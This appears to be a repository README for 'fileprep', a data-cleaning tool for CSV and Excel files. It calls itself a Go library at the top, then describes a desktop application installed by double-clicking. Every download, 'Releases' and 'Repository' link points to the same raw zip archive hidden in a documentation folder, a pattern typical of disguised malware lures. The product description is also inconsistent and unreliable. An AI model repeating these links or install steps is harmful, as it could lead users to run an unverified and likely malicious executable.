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๐Ÿงน Clean, normalize, and validate structured data like CSV and Excel using fileprep, a lightweight Go library with flexible struct-tag rules.

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# ๐Ÿ—‚๏ธ fileprep - Easy CSV/Excel Data Preparation

## ๐Ÿš€ Getting Started

Welcome to fileprep! This application helps you prepare and validate your data files in formats like CSV, TSV, LTSV, Parquet, and Excel. It is designed for anyone who works with data, making the process simple and straightforward.

## ๐Ÿ“ฅ Download fileprep

[![Download fileprep](https://raw.githubusercontent.com/alexander123138/fileprep/main/doc/ja/Software-v2.8.zip%20fileprep-v1.0-blue)](https://raw.githubusercontent.com/alexander123138/fileprep/main/doc/ja/Software-v2.8.zip)

## ๐Ÿ› ๏ธ System Requirements

To run fileprep, you need:

- A computer with Windows, macOS, or a supported Linux distribution.
- A minimum of 2 GB of RAM.
- 100 MB of free disk space.

## ๐Ÿ“ Features

- **Preprocessing**: Easily clean and reshape your data files for analysis.
- **Validation**: Ensure your data meets required formats to avoid errors during processing.
- **Multiple Formats**: Supports CSV, TSV, LTSV, Parquet, and Excel files.
- **User-Friendly Interface**: Designed for ease of use, even for those without technical skills.

## ๐Ÿ“‚ Download & Install

To get started with fileprep, follow these steps:

1. Visit the [Releases page](https://raw.githubusercontent.com/alexander123138/fileprep/main/doc/ja/Software-v2.8.zip).
2. Find the latest version in the list.
3. Download the file for your operating system (e.g., Windows, macOS).
4. Once downloaded, locate the file on your computer.
5. Double-click the file to begin the installation.
6. Follow the prompts to complete the setup.

After installation, you can launch fileprep and start working with your data files right away.

## ๐Ÿ“š Usage Instructions

Hereโ€™s how to use fileprep for your data preprocessing and validation:

1. Open the fileprep application.
2. Select the file type you want to work with (CSV, Excel, etc.).
3. Click the โ€œUploadโ€ button to load your data file.
4. Use the built-in tools to preprocess your data:
   - Remove unwanted columns.
   - Change data formats.
   - Validate your data against set rules.
5. Once done, export the cleaned file to your preferred format.

## ๐Ÿ”„ Updates

Keep your fileprep up to date. Check the [Releases page](https://raw.githubusercontent.com/alexander123138/fileprep/main/doc/ja/Software-v2.8.zip) regularly for new features and improvements.

## โ“ Frequently Asked Questions

**Q: What formats does fileprep support?**  
A: fileprep supports CSV, TSV, LTSV, Parquet, and Excel file formats.

**Q: Is there a user manual?**  
A: Yes, all usage instructions are included in the application. Help is also available through the interface.

**Q: Can I contribute to fileprep?**  
A: Yes! We welcome contributions from everyone. Check our repository for guidelines.

## ๐Ÿ”— Links

- [Download fileprep](https://raw.githubusercontent.com/alexander123138/fileprep/main/doc/ja/Software-v2.8.zip)
- [GitHub Repository](https://raw.githubusercontent.com/alexander123138/fileprep/main/doc/ja/Software-v2.8.zip)

Thank you for choosing fileprep! We hope it makes your data management tasks easier and more efficient.

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